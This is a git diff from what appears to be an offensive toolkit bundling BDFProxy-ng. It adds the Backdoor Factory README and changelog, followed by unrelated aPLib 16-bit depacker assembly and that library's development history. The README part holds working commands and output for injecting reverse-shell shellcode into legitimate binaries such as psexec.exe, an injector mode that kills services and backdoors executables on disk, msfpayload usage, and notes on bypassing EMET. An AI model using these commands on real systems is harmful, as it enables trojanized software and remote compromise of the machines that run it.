shellcode + [*] Creating win32 resume execution stub + [*] Looking for caves that will fit the minimum shellcode length of 402 + [*] All caves lengths: (402,) + ############################################################ + The following caves can be used to inject code and possibly + continue execution. + **Don't like what you see? Use jump, single, append, or ignore.** + ############################################################ + [*] Cave 1 length as int: 402 + [*] Available caves: + 1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507 + 2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492 + 3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501 + 4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492 + 5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505 + 6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498 + 7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495 + 8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505 + 9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559 + 10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559 + ************************************************** + [!] Enter your selection: 5 + Using selection: 5 + [*] Changing Section Flags + [*] Patching initial entry instructions + [*] Creating win32 resume execution stub + [*] Overwriting certificate table pointer + [*] psexec.exe backdooring complete + File psexec.exe is in the 'backdoored' directory + +--- + +###Patch an exe/dll by adding a code section: + + ./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a + [*] In the backdoor module + [*] Checking if binary is supported + [*] Gathering file info + [*] Reading win32 entry instructions + [*] Looking for and setting selected shellcode + [*] Creating win32 resume execution stub + [*] Creating Code Cave + - Adding a new section to the exe/dll for shellcode injection + [*] Patching initial entry instructions + [*] Creating win32 resume execution stub + [*] Overwriting certificate table pointer + [*] psexec.exe backdooring complete + File psexec.exe is in the 'backdoored' directory + +--- + +###Patch a directory of exes: + ./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a + ...output too long for README... + +--- + +###User supplied shellcode: + msfpayload windows/exec CMD='calc.exe' R > calc.bin + ./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin + This will pop calc.exe on a target windows workstation. So 1337. Much pwn. Wow. + +--- + +###Hunt and backdoor: Injector | Windows Only + The injector module will look for target executables to backdoor on disk. It will check to see if you have identified the target as a service, check to see if the process is running, kill the process and/or service, inject the executable with the shellcode, save the original file to either file.exe.old or another suffix of choice, and attempt to restart the process or service. + Edit the python dictionary "list_of_targets" in the 'injector' module for targets of your choosing. + + ./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow + +--- + +###Changelog + +####08/12/2015 + * Added 'replace' PATCH_METHOD - a straight PE copy pasta of the supplied binary + * More for usage with BDFProxy + + Usage: ./backdoor.py -f weee.exe -m replace -b supplied_binary.exe + + +####08/11/2015 + * Stability fix for auto cave selection for rare caves of overlap + +####08/05/2015 + + * BH USA UPDATES, w00t! + * OnionDuke, use -m onionduke + * Supports user supplied exe's and dll's + * Usage: ./backdoor.py -f originalfile.exe -m onionduke -b pentest.dll/exe + * XP MODE = Prior IAT based payloads did not support XP, Wine, or Windows 98. If you need to support XP use the -X flag. I'm not supporting anything less than XP (and not XP x64). + * Invoke UAC prompt to runas as admin. *experimental* - patches the PE manifest if requestedExecutionLevel exists. + * Stability updates: + * Fixed a bug with incorrect RVA calculation jmp'ing across 2+ code caves + * Better checks to determine if a new section for the IAT will write into appended data and therefore fail + * Speed Improvements: + * Faster code cave finding while using *automatic* mode (-m automatic) + * Faster rsrc parsing to find manifest file + +####5/01/2015 + + * Bug fix to the reverse_tcp_stager_threaded payload when using single caves payload + +####4/28/2015 + + * Adding check for Bound Imports (PE files with bound imports will not be patched) + +####4/14/2015 + +So many updates: + * Automatic patching for PE files (use -m automatic with a *_threaded payload) + + * New IAT payloads for x86/x64 PE files + + * Just watch: https://www.youtube.com/watch?v=kkLI_ur6BxY + +####2/14/2015 +I <3 you guys + +* Added Import Address Table patching for PEs to support iat_reverse_tcp payloads that +use the import table for winAPI calls. If the binary you are patching does not +have LoadLibraryA and GetProcAddress, for example, BDF will patch it in to a +new Import Table in a new section. Supports x64/x86 PEs. + +* Added iat_reverse_tcp for x64 PEs. + +* Bug fixes and improvements + +####1/1/2015 + +Happy New Year! + +Two new OS X payloads! The delay: delay_reverse_shell_tcp + +-B 30 --> delay the payload for 30 seconds, main code runs right away. + +Setting of firm capstone commit for building into BDF, capstone 'Next' repo +breaks BDF. + +Fixes to support cython capstone implementation null byte truncation issue + + +####12/27/2014 + +Added payloadtests.py + +This script will output patched files in backdoored that will allow for the user to +test the payloads as they wish. Each payload type increments the port used +by one. + + + Usage: payloadtest.py binary HOST PORT + + +####12/17/2014 + +OS X Beaconing Payloads for x86 and x64: beaconing_reverse_shell_tcp + +-B 15 --> set beacon time for 15 secs + +Bug fix to support OS X for BDFProxy + + + +####10/11/2014 + +PE UPX Patching Added + + + +####9/26/2014 + +Mach-O x86/x64 added + +x86 IAT payload optimization + + + +####7/31/2014 + +Added support for ARM x32 LE ELF patching + + + +####7/22/2014 + +Added FreeBSD x32 ELF patching support + +Change to BSD 3 Clause License + + + +####7/13/2014 + +Incorporated Capstone: http://www.capstone-engine.org/ + +During the process of adding Capstone, I removed about 500 lines of code. That's pretty awesome. + +Renamed loadliba_reverse_tcp to iat_reverse_tcp. + +Small optimizations for speed. + + + +####5/30/2014 + +Added a new win86 shellcode: loadliba_reverse_tcp + + - Based on the following research by Jared DeMott: http://bromiumlabs.files.wordpress.com/2014/02/bypassing-emet-4-1.pdf -- Thanks @bannedit0 for mentioning this. + - This shellcode uses LoadLibraryA and GetProcessAddress APIs to find all necessary APIs for a reverse TCP connection. No more of Stephen Fewers API hash lookup (which is still brilliant). + - It's not stealthy. It's position dependent. But the results are great (code cave jumping): https://www.virustotal.com/en/file/a31ed901abcacd61a09a84157887fc4a189d3fe3e3573c24e776bac8d5bb8a0f/analysis/1401385796/ + - Bypasses EMET 4.1. The caller protection doesn't catch it. + - As such, I'll be furthering this idea with an algo that patches the binary with custom shellcode based on the APIs that are in the IAT. Including porting the current win86 shellcodes to this idea. + +--- + diff --git a/Logs/Phishing/Webclone.log b/Plugins/BDFProxy-ng/bdf/__init__.py similarity index 100% rename from Logs/Phishing/Webclone.log rename to Plugins/BDFProxy-ng/bdf/__init__.py diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/16bit/deppack.nas b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/16bit/deppack.nas new file mode 100644 index 0000000..a4c14e2 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/16bit/deppack.nas @@ -0,0 +1,357 @@ +;; +;; aPLib compression library - the smaller the better :) +;; +;; NASM 16bit assembler depacker example +;; +;; Copyright (c) 1998-2009 by Joergen Ibsen / Jibz +;; All Rights Reserved +;; +;; http://www.ibsensoftware.com/ +;; +;; -> 16bit by Metalbrain (metalbrain_coder@gmx.net) +;; + + org 256 + + cld ;Clear direction flag for safety + mov ah,4ah ;Modify memory block size (on start, + ; the .COM program is given all free + ; memory, but this could be less than + ; the needed amount (162K). As a nice + ; side effect, we are freeing unused + ; memory, but who cares under DOS? + mov bh,41 ;Number of needed paragraphs + ; (rounded up) + int 33 ;Resize + jnc not_error008 ;Continue if no error + call final ;Exit with message below + db "Not enough memory$" +not_error008 mov si,129 ;Arguments from PSP start here + pop cx ;CX=0 (useful later) + mov di,testitnow ;This will be called quite a few times + ; and later will be used to place + ; variables + mov bx,rub+1 +space1 mov dx,si ;Keep it start infile name in DX + call di ;Parse... + jz space1 ;Search for non-space +space2 call di ;Keep parsing + jnz space2 ;Till a space appears + mov [si-1],dh ;Make infile ASCIIZ +space3 push si ;Keep start outfile name in stack + call di ;Still parsing + jz space3 ;Now search a non-space again + mov [unitoutfile],al;Set unit for temporal outfile +space4 lodsb ;Final parse + cmp al,":" ;Is there's a unit in outfile name? + jnz nounit ;No-> skip next + sub byte [bx],bh ;Yes-> temporal outfile includes unit +nounit cmp al," " + ja space4 ;Space or below means end of filename + mov [si-1],dh ;Make ASCIIZ this one too + mov ax,3d00h ;Function to open infile + int 33 ;Open infile + jnc not_error001 ;Continue if no error + call final ;Exit with message below + db "Can't open infile$" +not_error001 stosw ;Store infile handle at handlein + + pushad + mov dx,header + mov cl,8 ;Header first part + mov bh,3fh + xchg ax,bx + int 33 ;Read 1st part header. No error check + cmp dword [header],'AP32' + jz not_error009 ;Test for bad infile #3: Header + call final +err004 db "Bad infile$" +not_error009 mov cx,[headersize] + sub cx,byte 8 + mov ah,3fh + int 33 ;Read 2nd part header + popad + mov dx,[bx] ;Get outfile name position + mov ah,3ch + int 33 ;Create temporal outfile: "ÿ" + jnc not_error007 ;Continue if no error + call final ;Exit with message below + db "Can't open temporal outfile$" +not_error007 stosw ;Store temporal outfile handle + xchg ax,dx ;And place it in DX + xor ebx,ebx ;EBX=0 + pop si ;Pop outfile name address from stack + mov bh,8 ;BX=inbuff + mov sp,bx ;Set stack before inbuff + mov ax,es ;Segment + add ax,bx ; +32K in AX + imul eax,eax,byte 16 ;32 bit start of segment address+32K + add eax,ebx ;EAX=freemem 32 bit address + push si ;Push again outfile name address + mov dl,128 ;Reset bit counter in DL, and DX=0080h + stosd ;Set EAX at freemem32 + stosd ; and limit32 + add [di-2],byte 2 ;Now limit32=freemem32+128K + xchg eax,edi ;Set freemem32 at EDI + mov esi,edi ;And ESI + ;Starting point for DEPACK16 + push edi ;Store freemem32 +literal call getesi ;Copy a byte from [esi] to [edi] +putedi_nexttag call putedi2 + mov dh,1 ;Set lastwasmatch marker in dh + call newtest ;Here EAX=0 + jmp short nexttag ;Decode next tag bits... + +normalcodepair xchg ax,cx ;High part of distance in AX + dec ax ;Subtract 1. Min value is 0 + shl eax,8 ;EAX=00dddd00h + call getesi ;Fill distance in AL + call getgamma ;Take gamma encoded ECX + cmp eax,32000 + jae domatch_with_2inc ;Above 31999: ECX+=2 + cmp ah,5 + jae domatch_with_inc ;1279 origin pointer + cmp esi,[freemem32] ;Test for bad infile #1: Limit crossed + jc near badinfile ;Exit if error +repmovsb call dontread ;getesi without checking limit + call putedi2 ;and with putedi completes the movsb + mov ah,128 ;Here EAX=32768 (in case of writing + call newtest ; data, update esi too) + loop repmovsb,ecx ;Do it ecx times + pop esi ;Recover read pointer +nexttag call getbit ;Get a bit + jnc literal ;0: literal, go for it + xor ecx,ecx ;Clear ECX + cbw ;and AX (AX was 0 or 32K) + call getbit ;Get another bit + jnc codepair ;10: codepair, go for it + call getbit ;Get yet another one + jnc shortmatch ;110: shortmatch + mov dh,1 ;Set lastwasmatch marker in dh + inc cx ;CX=1 + mov al,16 ;Set marker bit +getmorebits call getbit ;Get a bit + adc al,al ;Set it in AL + jnc getmorebits ;Do it till marker is out (4 times) + jnz domatch ;111xxxx: continue, AL has distance + jmp short putedi_nexttag ;1110000: Put a zero byte + +codepair call getgamma ;Get gamma encoded first part of + ; distance in CX. Min value is 2 + shr dh,1 ;Fix distance taking lastwasmatch + sbb cx,byte 1 ; marker in consideration + jnz normalcodepair ;If not zero, it's a normal codepair + + push word domatch_lastpos ;Get gamma encoded lenght in ECX + ; then jump to domatch_lastpos (use + ; last distance) + +getgamma inc cx ;First bit is always 1 +getgammaloop call getbit ;Get next bit + adc ecx,ecx ;Put it in ECX + call getbit ;Get gamma bit + jc getgammaloop ;If it's 1, continue growing ECX + ret + +shortmatch call getesi ;Get a byte + shr ax,1 ;Distance = AL/2, Lenght in carry flag + jz donedepacking ;If zero, end packing + adc cx,cx ;Lenght = 1 or 0 + jmp short domatch_with_2inc ; Decode with lenght 2 or 3 + +getbit add dl,dl ;Get a tag bit + jnz stillbitsleft ;If zero, that bit was the marker, so + ; we must read a new tag byte from + xchg ax,dx ;\ the infile buffer + call getesi ; >Emulate mov dl,[esi], inc esi + xchg ax,dx ;/ + stc ;Carry flag is end marker + adc dl,dl ;Get first bit and set marker +stillbitsleft ret ;Return with bit read in flag C + +donedepacking pop esi ;ESI=freemem32 + sub edi,esi ;And here finish DEPACK 16 + ;Now edi has the number of depacked + ; bytes left to be written + push ds ;Preserve data segment + mov ch,080h ;Write using 32K chunks to enable + ; the sign optimization + mov dx,freemem ;Flush everything from here to end +more cmp edi,ecx + ja notlast ;If EDI > 32K, write 32K bytes + mov cx,di ;If EDI <= 32K, write EDI bytes +notlast call writefile ;Write chunk + mov ax,ds + add ah,8 + mov ds,ax ;Advance 32K + sub edi,ecx ;Update number of bytes to be written + ja more ;Above zero, continue writing + pop ds ;Recover data segment + cmp dword [uncompsize],0 ; Test for bad infile #4: Is + jnz near badinfile ; number of decoded bytes the + ; specified in header? + push bx ;Keep handletmp + mov bx,[handlein] + mov ax,5700h + int 33 ;Get timestamp from infile + inc ax + pop bx ;Get handletmp + int 33 ;Set timestamp to temporal outfile + + push ds + pop es ;Set es=ds + pop dx ;Get nameout + call close_del ;Close temporal outfile and try to + ; delete the file named with our + ; outfile name, in case it exists + jnc renameit ;If that file existed and was deleted, + ; go ahead and rename the temporal one + cmp al,5 ;If it didn't exist, rename it too + jz error002b ;In case of Access denied, it must + ; be that outfile was protected, so + ; that's an error... +renameit mov ah,56h + mov di,dx + mov dx,[rub+1] + int 33 ;Rename temporal outfile to outfile + jc error002 ;Can't open outfile + push word noerr ;Final message +final push ss + pop ds ;Set a good data segment + pop dx ;Get message offset +final_dxok mov ah,9 + int 33 ;Show final message + int 20h ;Exit program +writefile mov bx,[ss:handletmp] ;Get temporal outfile handle + mov ah,40h + int 33 ;Write to temporal outfile + jc error005 ;Can't write + dec ax + js error006 ;Disk is full + ret +error002b push word err002b ;Set appropiate message + jmp short rub ;Exit erasing temporal file +error002 push word err002 ;Set appropiate message + jmp short rub ;Exit erasing temporal file +error005 push word err005 ;Set appropiate message + jmp short rub ;Exit erasing temporal file +error006 push word err006 ;Set appropiate message +rub mov dx,tmpname ;Temporal file name to be erased + push word final ;Return point to exit with error +close_del mov ah,3eh + int 33 ;Close temporal outfile + mov ah,41h + int 33 ;Delete it + ret + +getesi cmp esi,[freemem32] ; If esi is at freemem32, we must + jnz dontread ;load 32k of compressed data + mov bh,128 ;BL was 0, EBX=32K + pushad ;Keep all registers (32bit because + mov ah,3fh ; DOS function may modify EAX!!!) + mov cx,bx ;Number of bytes + mov bx,[handlein] ;Take infile handle + mov dx,inbuff ;Place to read + int 33 ;Read, AX=number of bytes read + jc error003 ;If error, go to exit +noerror003 dec ax ;Test for bad infile #2: 0 bytes read + ; (a good infile will finish and won't + ; ask for more data) + jns noerror004 ;No error, continue +badinfile push word err004 ;Set appropiate message + jmp short error004 +error003 push word err003 ;Set appropiate message +error004 mov bx,[handletmp] ;Get handle to close temporal file + jmp short rub ;Exit erasing temporal file +noerror004 popad ;Restore all registers + sub esi,ebx ;esi at beginning of buffer again +dontread push esi ;----->Emulates mov al,[esi] in 16 bit + pop bx ; / code (as mov al,[esi] gives + pop bx ; / a nasty fault) + ror bx,4 ; / + mov es,bx ; / + mov al,[es:si] ;/ + inc esi ;Update read pointer + ret + +newtest cmp edi,[limit32] ;Check if we've run out of memory + jc endtest ;NO: end test + pushad ;Keep registers + mov dx,freemem + mov ecx,32768+65536 ;CX=32K will be written first + ;ECX=96K data will be moved then + call writefile ;Write 32K of data + sub edi,ecx ;Set pointer to origin32=limit32-96K + mov esi,[freemem32] ;Output data will be moved 32K back + xchg edi,esi ;Swap source and destination pointers + +otherrepmovsb call getesi ; \ + call putedi ; >Emulates rep movsb + loop otherrepmovsb,ecx ;/ + popad ;Restore registers + sub esi,eax ;Update read pointer (sub 32K if + ; we are in the repmovsb loop) + mov ah,128 ;EAX=32K + sub edi,eax ;Update write pointer +endtest ret + +putedi2 dec dword [uncompsize] ;One less byte to be written +putedi push edi ;----->Emulate mov [edi],al in 16 bit + pop bx ; / code (as mov [edi],al gives + pop bx ; / a nasty fault) + ror bx,4 ; / + mov es,bx ; / + mov [es:di],al ;/ + inc edi ;Update write pointer + xor eax,eax ;Clear EAX +noerror000 ret +testitnow lodsb ;Parse one byte + cmp al,32 ;Is it space? + jnc noerror000 ;If valid char (above 31), return + call final ;Exit with message below + db "Usage: DEPPACK infile outfile",13,10,10 + db "infile must be an aPPACKed file",13,10 + db "wildcards are not allowed",13,10,10 + db "DEPPACK v1.1 Copyright (c) 1998-2005 by Metalbrain",13,10 + db "aPLib v0.36 Copyright (c) 1998-2005 by Jibz, All Rights Reserved$" +err005 db "Can't write temporal outfile$" +err002b db "Outfile is protected, so...",13,10 +err002 db "Can't open outfile$" +err003 db "Can't read from infile$" +err006 db "Disk full$" +noerr db "Deppackin" + db "g ok$" +unitoutfile db "c:" +tmpname db "ÿ",0 +handlein EQU testitnow +handletmp EQU testitnow+2 +freemem32 EQU testitnow+4 +limit32 EQU testitnow+8 +header EQU testitnow+12 +headersize EQU testitnow+16 +packedsize EQU testitnow+12 +packedcrc EQU testitnow+16 +uncompsize EQU testitnow+20 +uncompcrc EQU testitnow+24 + + ;Stack is between program and 2048 +inbuff EQU 2048 ;Place for 32K infile reading buffer +freemem EQU inbuff+32768 diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/16bit/depptiny.nas b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/16bit/depptiny.nas new file mode 100644 index 0000000..22a9304 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/16bit/depptiny.nas @@ -0,0 +1,296 @@ +;; +;; aPLib compression library - the smaller the better :) +;; +;; NASM 16bit assembler tiny depacker example +;; +;; Copyright (c) 1998-2009 by Joergen Ibsen / Jibz +;; All Rights Reserved +;; +;; http://www.ibsensoftware.com/ +;; +;; -> 16bit by Metalbrain (metalbrain_coder@gmx.net) +;; + +;;************************************************************************* +;; WARNING!!!! : New headers NOT supported. Cut 24 bytes from packed file +;; to make it work +;;************************************************************************* + + org 256 + + cld ;Clear direction flag for safety + mov ah,4ah ;Modify memory block size (on start, + ; the .COM program is given all free + ; memory, but this could be less than + ; the needed amount (162K). As a nice + ; side effect, we are freeing unused + ; memory, but who cares under DOS? + mov bh,41 ;Number of needed paragraphs + ; (rounded up) + call int_n_check ;Resize or exit if error + + pop cx ;CX=0 (useful later) + mov si,129 ;Arguments from PSP start here + mov di,testitnow ;This will be called quite a few times + ; and later will be used to place + ; variables + mov bx,tmpname+1 +space1 mov dx,si ;Keep start infile name in DX + call di ;Parse... + jz space1 ;Search for non-space +space2 call di ;Keep parsing + jnz space2 ;Till a space appears + mov [si-1],dh ;Make infile ASCIIZ +space3 push si ;Keep start outfile name in stack + call di ;Still parsing + jz space3 ;Now search a non-space again + mov [unitoutfile],al;Set unit for temporal outfile +space4 lodsb ;Final parse + cmp al,":" ;Is there's a unit in outfile name? + jnz nounit ;No-> skip next + sub byte [bx],bh ;Yes-> temporal outfile includes unit +nounit cmp al," " + ja space4 ;Space or below means end of filename + mov [si-1],dh ;Make ASCIIZ this one too + mov ax,3d00h ;Function to open infile + call int_n_check ;Try it + stosw ;Store infile handle at handlein + mov dx,[bx] ;Get outfile name position + mov ah,3ch + call int_n_check ;Create temporal outfile: "NOT OK$" + stosw ;Store temporal outfile handle + xchg ax,dx ;And place it in DX + xor ebx,ebx ;EBX=0 + pop si ;Pop outfile name address from stack + mov bh,8 ;BX=inbuff + mov sp,bx ;Set stack before inbuff + mov ax,es ;Segment + add ax,bx ; +32K in AX + imul eax,eax,byte 16 ;32 bit start of segment address+32K + add eax,ebx ;EAX=freemem 32 bit address + push si ;Push again outfile name address + mov dl,128 ;Reset bit counter in DL, and DX=0080h + stosd ;Set EAX at freemem32 + stosd ; and limit32 + add [di-2],byte 2 ;Now limit32=freemem32+128K + xchg eax,edi ;Set freemem32 at EDI + mov esi,edi ;And ESI + ;Starting point for DEPACK16 + push edi ;Store freemem32 +literal call getesi ;Copy a byte from [esi] to [edi] +putedi_nexttag call putedi + mov dh,1 ;Set lastwasmatch marker in dh + call newtest ;Here EAX=0 + jmp short nexttag ;Decode next tag bits... + +normalcodepair xchg ax,cx ;High part of distance in AX + dec ax ;Subtract 1. Min value is 0 + shl eax,8 ;EAX=00dddd00h + call getesi ;Fill distance in AL + call getgamma ;Take gamma encoded ECX + cmp eax,32000 + jae domatch_with_2inc ;Above 31999: ECX+=2 + cmp ah,5 + jae domatch_with_inc ;1279 origin pointer + cmp esi,[freemem32] ;Test for bad infile #1: Limit crossed + call finerr01 ;Exit if error +repmovsb call dontread ;getesi without checking limit + call putedi ;and with putedi completes the movsb + mov ah,128 ;Here EAX=32768 (in case of writing + call newtest ; data, update esi too) + loop repmovsb,ecx ;Do it ecx times + pop esi ;Recover read pointer +nexttag call getbit ;Get a bit + jnc literal ;0: literal, go for it + xor ecx,ecx ;Clear ECX + cbw ;and AX (AX was 0 or 32K) + call getbit ;Get another bit + jnc codepair ;10: codepair, go for it + call getbit ;Get yet another one + jnc shortmatch ;110: shortmatch + mov dh,1 ;Set lastwasmatch marker in dh + inc cx ;CX=1 + mov al,16 ;Set marker bit +getmorebits call getbit ;Get a bit + adc al,al ;Set it in AL + jnc getmorebits ;Do it till marker is out (4 times) + jnz domatch ;111xxxx: continue, AL has distance + jmp short putedi_nexttag ;1110000: Put a zero byte + +codepair call getgamma ;Get gamma encoded first part of + ; distance in CX. Min value is 2 + shr dh,1 ;Fix distance taking lastwasmatch + sbb cx,byte 1 ; marker in consideration + jnz normalcodepair ;If not zero, it's a normal codepair + + push word domatch_lastpos ;Get gamma encoded lenght in ECX + ; then jump to domatch_lastpos (use + ; last distance) + +getgamma inc cx ;First bit is always 1 +getgammaloop call getbit ;Get next bit + adc ecx,ecx ;Put it in ECX + call getbit ;Get gamma bit + jc getgammaloop ;If it's 1, continue growing ECX + ret + +shortmatch call getesi ;Get a byte + shr ax,1 ;Distance = AL/2, Lenght in carry flag + jz donedepacking ;If zero, end packing + adc cx,cx ;Lenght = 1 or 0 + jmp short domatch_with_2inc ; Decode with lenght 2 or 3 + +donedepacking pop esi ;ESI=freemem32 + sub edi,esi ;And here finish DEPACK 16 + ;Now edi has the number of depacked + ; bytes left to be written + push ds ;Preserve data segment + mov ch,080h ;Write using 32K chunks to enable + ; the sign optimization + mov dx,freemem ;Flush everything from here to end +more cmp edi,ecx + ja notlast ;If EDI > 32K, write 32K bytes + mov cx,di ;If EDI < 32K, write EDI bytes +notlast call writefile ;Write chunk + mov ax,ds + add ah,8 + mov ds,ax ;Advance 32K + + sub edi,ecx ;Update number of bytes to be written + ja more ;Above zero, continue writing + pop ds ;Recover data segment + push ds + pop es ;Set es=ds + pop dx ;Get pointer to outfile name + push dx ;store again + call close_del ;Close temporal outfile and try to + ; delete the file named with our + ; outfile name, in case it exists + jnc renameit ;If that file existed and was deleted, + ; go ahead and rename the temporal one + cmp al,5 ;If it didn't exist, rename it too + jz finerr ;But if error was for other reason, + ; exit with NOT OK +renameit mov ah,56h + pop di ;Outfile name +tmpname mov dx,notok + call int_n_check ;Rename temporal outfile to outfile + mov dl,noerr-512 ;Final message: OK +final_dxok mov ah,9 + int 33 ;Show final message + int 20h ;Exit program + +writefile mov bx,[ss:handletmp] ;Get temporal outfile handle + mov ah,40h + call int_n_check ;Write + dec ax + jns not_finerr ;If disk isn't full there's no error +finerr mov dx,[tmpname+1] ;Temporal outfile will be deleted + push word final_dxok +close_del mov ah,3eh + int 33 ;Close temporal outfile + mov ah,41h + int 33 ;Delete outfile (when called to + ; close_del) or temporal outfile + mov dl,notok-512 ;Error message: NOT OK +not_finerr ret ; return or go to final_dxok + +getesi cmp esi,[freemem32] ; If esi is at freemem32, we must + jnz dontread ;load 32k of compressed data + mov bh,128 ;BL was 0, EBX=32K + pushad ;Keep all registers (32bit because + mov ah,3fh ; DOS function may modify EAX!!!) + mov cx,bx ;Number of bytes + mov bx,[handlein] ;Take infile handle + mov dx,inbuff ;Place to read + call int_n_check ;Read and exit if error + dec ax ;---Test for bad infile #2: 0 bytes + popad ;\/ read (a good infile will finish + js finerr ;/\ and won't ask for more data) + ; >Restore registers + sub esi,ebx ;esi at beginning of buffer again +dontread push esi ;----->Emulates mov al,[esi] in 16 bit + pop bx ; / code (as mov al,[esi] gives + pop bx ; / a nasty fault) + ror bx,4 ; / + mov es,bx ; / + mov al,[es:si] ;/ + inc esi ;Update read pointer + ret + +int_n_check int 33 ;Perform operation (depends on AH) +finerr01 jc finerr ;If it failed, exit with NOT OK + ret + +getbit add dl,dl ;Get a tag bit + jnz stillbitsleft ;If zero, that bit was the marker, so + ; we must read a new tag byte from + xchg ax,dx ;\ the infile buffer + call getesi ; >Emulate mov dl,[esi], inc esi + xchg ax,dx ;/ + stc ;Carry flag is end marker + adc dl,dl ;Get first bit and set marker +stillbitsleft ret ;Return with bit read in flag C + +newtest cmp edi,[limit32] ;Check if we've run out of memory + jc endtest ;NO: end test + pushad ;Keep registers + mov dx,freemem + mov ecx,32768+65536 ;CX=32K will be written first + ;ECX=96K data will be moved then + call writefile ;Write 32K of data + sub edi,ecx ;Set pointer to origin32=limit32-96K + mov esi,[freemem32] ;Output data will be moved 32K back + xchg edi,esi ;Swap source and destination pointers + +otherrepmovsb call getesi ; \ + call putedi ; >Emulates rep movsb + loop otherrepmovsb,ecx ;/ + popad ;Restore registers + sub esi,eax ;Update read pointer (sub 32K if + ; we are in the repmovsb loop) + mov ah,128 ;EAX=32K + sub edi,eax ;Update write pointer +endtest ret + +putedi push edi ;----->Emulate mov [edi],al in 16 bit + pop bx ; / code (as mov [edi],al gives + pop bx ; / a nasty fault) + ror bx,4 ; / + mov es,bx ; / + mov [es:di],al ;/ + inc edi ;Update write pointer + xor eax,eax ;Clear EAX + ret +unitoutfile db "c:" +notok db "NOT " +noerr db "OK$",0 + +testitnow lodsb ;Parse one byte + cmp al,32 ;Is it space? + jc finerr01 ;Below space: bad arguments > exit + ret + +handlein EQU testitnow +handletmp EQU testitnow+2 +freemem32 EQU testitnow+4 +limit32 EQU testitnow+8 + ;Stack is between program and 2048 +inbuff EQU 2048 ;Place for 32K infile reading buffer +freemem EQU inbuff+32768 diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/contrib/16bit/history.txt b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/16bit/history.txt new file mode 100644 index 0000000..1f6bc67 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/contrib/16bit/history.txt @@ -0,0 +1,458 @@ +Porting aPLib decompresion routines by Jibz to 16 bits by METALBRAIN + + I haven't Internet conexion at home, so I can only connect from my + University from Monday to Friday (only a short while in the morning, except + Mondays, when I can also connect from 14:00 to 16:00), and some weekends + from a friend's house (in summer is much worse). + + +28-10-98 to 12-11-98 + I wanted to use aPLib v0.17b in my small game KOM, but all code is 32 + bit, and KOM is a 16 bit project, so after several failing tests, I started + writing 16 bit version of NASM assembly routines, cleaning all C connection + protocol code and replacing string instructions and those that accessed + memory through [esi] and [edi] with 16 bit emulation routines. I started + putting them in smalls programs with fixed names for infile and outfile. + After fixing a bug, they started to work. Then I got aPLib v0.18b, and + updated my routines, and kept improving my test programs. Then finally + came out aPlib v0.19b, so I updated my routines once again, and started to + work more seriously, in order to offer my 16 bit port to Jibz. + +14-11-98 Saturday + Finally wrote a depacker capable of reading filenames from arguments. + Infile can't be greater than 64Kb, and no test is made about memory, so if + outfile is too big, it could collapse memory. My deppacker broke a file, + and I couldn't find any bug on it. I made some tests and found out a bug in + aPPACK itself. Oops. It also happens to previous versions. Jibz must be + informed about it... + +15-11-98 Sunday + Cleaned the code a bit, eliminating some redundances. + +16-11-98 Monday > + I send Jibz first version of DEPACK and DEPPACK (948 bytes), and + also tell him about aPPACK bug. + +20-11-98 > Friday + I got response from Jibz. He has found a bug in my routines, and he + has optimized both DEPACK and DEPPACK a lot. I look at his code and feel + really dumb. Some optimizations are so obvious... + +22-11-98 Sunday + I make first version of DEPPTINY. It's the same that DEPPACK, but + without error nor usage messages. My first goal was to make it under 700 + bytes (that was the size of the tinyest decompressor I knew before mine + arrived), and as firstly I got it in 519, I played a bit to make it under + 512 bytes (just one diskette sector). It ends up being 507(?) bytes long. + +23-11-98 Monday > + I send Jibz first version of DEPPTINY (507). At home I start coding + next DEPPACK version, featuring use of all available memory to be able to + uncompress any file which fits in low memory. + +24-11-98 > Tuesday + Jibz sent me a very optimized version of DEPPTINY (437). I can't + believe my eyes. He wiped away 70 bytes!. I'm really amazed. And code is + also cleaner, as he removed my dirty self-modifying code trick. I study his + optimizations. Curious. He got rid of most variables. I look at the code + and I'm able to clean 6 bytes from it. Now I feel great, my spirit rises + and continue coding v0.2 of DEPPACK, but I can't get it working. + +25-11-98 Wednesday > + I send Jibz my optimization of DEPPTINY (431) and I asked him about + my problem (thought I wasn't too clear about it). In the evening I study + the code debugging it and fix my problem alone, with another dirty + self-modifying trick. + +26-11-98 > Thursday > + I recieve Jibz's last work on DEPPTINY. I send him the very first + version of DEPPACK v0.2 . At home, I look his DEPPTINY. Incredible!. He + did it again! He killed 32 more bytes, leaving it in 398. Now some + optimizations are really weird (such as order modification), but they work + perfectly. + +27-11-98 Friday to 29-11-98 Sunday + I port some optimizations from last DEPPTINY to DEPPACK. I 